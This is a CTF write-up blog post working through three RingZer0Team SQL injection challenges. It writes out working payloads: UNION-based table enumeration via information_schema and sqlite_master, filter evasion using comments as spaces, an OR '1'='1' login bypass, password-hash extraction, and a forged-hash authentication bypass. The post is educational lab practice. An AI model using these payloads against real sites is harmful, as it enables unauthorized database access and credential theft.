RingZer0Team CTF SQLi challenges — Part 2
Continuing on in my series of write ups of the RingZer0Team challenges it is time for my next instalment on SQL injection. I have previously written about Using CTF’s to learn and keep sharp , Javascript RingZer0Team CTF challenges and RingZer0Team SQLi Part 1.
In this post I outline more of the SQL challenges I have completed and the rabbit holes it took me into along the way as the challenges get increasingly difficult.
For those that have found this as my first story I have set myself the challenge of writing up the details of each challenge that I solve as a reminder to myself, as a reference and as a resource to help others on their CTF journeys.
Quote of the day
https://ringzer0team.com/challenges/37?q=5
This time the SQL injection challenge is not a login form but a numeric input that returns a quote of the day. On this challenge using substrings or a union spring to mind if it works.
I started by enumerating the messages that the quote of the day returns by submitting different integers and trying out negative values to see what effect that they have. I then started by check if you can do simple addition via the query and get the quote you expect, this indicates that the SQL is being interpreted as part of the evaluation on the web server.
https://ringzer0team.com/challenges/37?q=0+2
#Returns the same quote as
https://ringzer0team.com/challenges/37?q=2Passing in a single quote yields an error for the id lookup and reflects back the input in an encoded format.
https://ringzer0team.com/challenges/37?q=2’#Response:No result found for id “2’”Since I knew that the addition was working for the integers I wanted to find out what else was allowed through the filtering that had been put in place. I carried out checks to see if we can run a query that returns a numeric value with comments between. Passing in comments did not work either:
/challenges/37?q=1/**/+1Returned result#No result found for id ‘1/**/1’Note that the result we had returned has stripped the + that we submitted, perhaps if I had URL encoded the + value it would have returned differently.
Lets see if we can identify the number of columns in the table being queried by using a UNION queries to identify the number of columns that should be returned.
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/NULL#Returned:No result foundNext iteration to test for two columns being returned
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/NULL,NULLNow we get two quotes of the day. We have identified our injection point.
Quote of the day: The only thing that makes life possible is permanent, intolerable uncertainty; not knowing what comes next.
Quote of the day:The reason this works is the comment characters being passed through are filtered out since we cannot pass a space character through.
Lets expand and identify what types we can query:
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/1,1We get our numeric SELECT returned in the result back to the page
Quote of the day: The only thing tht makes life possible is permanent, intolerable uncertainty; not knowing what comes next.
Quote of the day: 1If this is attempted with a character instead of a 1 we get an error. So lets check if we can use MySQL functions:
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/1,unhex(41)Result returns back our decoded ASCII value, as an aside, we are not limited to just using ASCII. We could use other MySQL functions to decode values using the String Functions.
Quote of the day: The only thing that makes life possible is permanent, intolerable uncertainty; not knowing what comes next.
Quote of the day: AMySQL has functions to allow concatenating results using the group_concat function.
Lets see what tables are available using the group_concat to concatenate the result we return from the information schema:
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/1,group_concat(table_name)/**/FROM/**/information_schema.tablesThe Information Schema within MySQL is a special metadata schema that details information about the databases that the MySQL instance is running along with a multitude of other information. Breaking down the query that I have used:
1/**/UNION/**/SELECT/**/1,group_concat(table_name)/**/FROM/**/information_schema.tablesWe are asking MySQL to select the first result and also return with that result a sub query within our UNION query which joins two results together. It has some specific limitations:
- UNION combines the result sets of two queries.
- Column data types in the two queries must match.
- UNION combines by column position rather than column name.
This is why we had to test earlier how many columns are returned in the result set and also which data types that they return. Using the group_concat function as the second column is important since it is this column that is returned in the result.
Finally we query the information_schema to find out what the tables names are within the database. We could have filtered the query further to only return results that aren’t within the information_schema themselves.
Quote of the day: The only thing tht makes life possible is permanent, intolerable uncertainty; not knowing what comes next.Quote of the day: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,alkdjf4iu,quotesThe returned list of tables provides two user defined tables:
- Quotes
- alkdjf4iu
I don’t think I would have guessed the table name of alkdjf4iu but with this knowledge the flag can be obtained by querying this table.
https://ringzer0team.com/challenges/37?q=1/**/UNION/**/SELECT/**/*/**/FROM/**/alkdjf4iuThe query above is a little lazy, but it worked. I could have queried this table to find out what the column names are within the database and then select values from each column to obtain the flag too.
Login portal 2
https://ringzer0team.com/challenges/4
You are provided a simple username and password login form. I initially tested to see if there was any character filtering and it didn’t appear to be in place. Since it is a login form it is straight forward to assume the likely SQL syntax and build a simple injection bypass.
SELECT Username, Group, Description FROM <tablename> WHERE username = ‘$user’ AND password = ‘$password’;Attempting to bypass with a known username guess of admin a SQL query can be formed to bypass the password. The classic OR logic SQLi attempt that comes to mind is:
SELECT Username, Group, Description FROM <tablename> WHERE Username=’admin’ OR ‘1=’1’ AND password = ‘’This returned a message saying that:
Wrong password for ‘impossibletoguess’.
This shows that the query is returning information from the users table and our SQL injection bypass has resulted most likely in the first user in the users table being returned, this is helpful to know though.
Using this I started to attempt to use a UNION query to return additional information from the users table and ultimately our flag. After some trial and error to get a string returned along with the message above I started by guessing we would be reading from a table called users and used NULL selects to identify the number of columns in the table:
username=’ OR ‘1’=’1' UNION SELECT NULL FROM users#&password=The first query using one column failed
Wrong username/password
Running a query assuming 2 columns gets the result we want. We can return a value with the UNION
username=’ OR ‘1’=’1' UNION SELECT NULL, NULL FROM users#&password=Result:
Wrong password for ‘impossibletoguess’. Wrong password for .
Now that we have the NULL queries working I needed to validate the data types being returned by using different data types in place of the NULL values used initially.
username=’ OR ‘1’=’1' UNION SELECT 1, NULL FROM users#&password=Wrong password for ‘impossibletoguess’.
Wrong password for 1.username=’ OR ‘1’=’1' UNION SELECT ‘a’, NULL FROM users#&password=Wrong password for ‘impossibletoguess’. Wrong password for a.
We can select either data type. Now lets get the password from the users table
username=’ OR ‘1’=’1' UNION SELECT password, NULL FROM users#&password=Result:
Wrong password for impossibletoguess.
Wrong password for 1b2f190ad705d7c2afcac45447a31b053fada0c4.The result returned looks like a password hash, but I tried submitting this as the password with the username normally just to be sure, but as expected it returned a wrong password error.
I decided it was time to take a break, get a cuppa and comeback to this challenge as I was considering breaking out hashcat to crack the password, but after a sanity check this is a SQLi challenge. At this point I went down a few rabbit holes querying all sorts of information from the MySQL database in a similar manner to the earlier challenge.
username=’ OR ‘1’=’1' UNION SELECT group_concat(table_name), NULL FROM information_schema.tables#&password=About 30 queries later….
I also queried the system users
username=’ OR ‘1’=’1' UNION ALL SELECT schema_name, NULL FROMAnd got information about the system users.
Wrong password for impossibletoguess. Wrong password for information_schema. Wrong password for login2.
I also tried seeing if there was information hidden away in the test schema, but this didn’t exist. After taking a step back and the realisation I have been over thinking the problem significantly I got the hint from ringzer0 CTF and focused on the UNION query.
I had also spent quite a bit of time reading about MySQL hashing of passwords with the password function and made the assumption that the UNION required the password function passing through and had focused my queries on this area.
I had in my mind that the psuedo code within the site was along the lines of
SELECT * FROM users WHERE USERNAME = <username> AND (password = password(<password>))So I attempted many different UNION queries in the form:
username=impossibletoguess’ UNION ALL SELECT username, password(‘’)FROM users#&password=But to no avail, I returned to the password hashing algorithm in MySQL that uses in effect SHA1(UNHEX(SHA1(‘thecleartextpassword’))) to create the hash and this made me think is the check based on a simplified version and checking the SHA hashes match for the submissions and I submitted the hashed password I had recovered earlier:
username=impossibletoguess’ UNION ALL SELECT username, sha(‘1b2f190ad705d7c2afcac45447a31b053fada0’)FROM users#&password=1b2f190ad705d7c2afcac45447a31b053fada0This got me the flag at last. However the query could be simplified more to not require a password at all:
username=impossibletoguess’ UNION ALL SELECT username, sha(‘’)FROM users#&password=Now that challenge was a bit of an adventure with all of the different rabbit holes and over thinking the challenge. I expect the knowledge I took from this will be used in later challenges though.
Matrix Fan? The only limits are yours
Similar to quote of the day (see above) you have an ID parameter to submit which returns various different quotes.
Submitting: https://ringzer0team.com/challenges/39/?id=’ yields a SQLite database error so thats a good start. For those that haven’t used SQLite before it is used widely since it is a self contained database engine that is particularly well suited to mobile applications.
I started by trying to find out which tables existed in the database, but found that spaces were filtered so I used comments as spaces instead to query the tables within the database. Quite different from MySQL, SQLite uses a different structure for the table meta data in a special table called ‘sqlite_master’ the SQLite FAQ’s are worth checking out.
https://ringzer0team.com/challenges/39/?id=1'/**/UNION/**/SELECT/**/tbl_name/**/FROM/**/sqlite_master--But this just sqlite errors
After some experimentation with the UNION statement I got a message returned instead of a sqlite error with:
https://ringzer0team.com/challenges/39/?id=1/**/UNION/**/SELECT/**/tbl_name,1/**/FROM/**/sqlite_masterCan you spot my initial error?
I had neglected to take account of the number of columns I was returning in my UNION query, once I included a second column the UNION query then meets the requirement that the two result sets have the same number of columns.
Now to refine the query and get the table name in the returned message. I just needed to update the UNION query, after changing the id value to 2 the table name was returned. I found this blog post helpful: https://hydrasky.com/network-security/sqlite-injection/
https://ringzer0team.com/challenges/39/?id=2/**/UNION/**/SELECT/**/1,tbl_name/**/FROM/**/sqlite_masterThe result returns the table of interest:
The table is aatrollAn alternative technique would be to select the create SQL from the master table which is actually more useful:
https://ringzer0team.com/challenges/39/?id=2/**/UNION/**/SELECT/**/1,sql/**/FROM/**/sqlite_masterReturns the message with the table definition which also provides the information of the columns within that table.
CREATE TABLE aatroll (id int(10))Lets see if we can select from the table now I tried getting the id from the table but got no results using:
https://ringzer0team.com/challenges/39/?id=2/**/UNION/**/SELECT/**/1,id/**/FROM/**/aatrollThis just returned the quote but no content.
Then I grabbed a hint and I was already on the right route, but handn’t used limits when querying the names from the master table using LIMIT’s to return 1 result at a time. It was a bit of an overkill for this challenge, but i used burpsuite intruder with two number payloads to cycle through the limit queries in the form below:
https://ringzer0team.com/challenges/39/?id=2/**/UNION/**/SELECT/**/1,sql/**/FROM/**/sqlite_master/**/LIMIT/**/1,2This returned results for the following tables:
CREATE TABLE aatroll (id int(10))
CREATE TABLE ajklshfajks (flag varchar(40))
CREATE TABLE random_stuff (id int(10), content varchar(100))
CREATE TABLE troll (id int(10))From the above you can see the table we need and we can select the flag using:
https://ringzer0team.com/challenges/39/?id=2/**/UNION/**/SELECT/**/1,flag/**/FROM/**/ajklshfajks/**/LIMIT/**/0,1I had overlooked the need to use a LIMIT with the UNION to iterate through the different tables that were present.
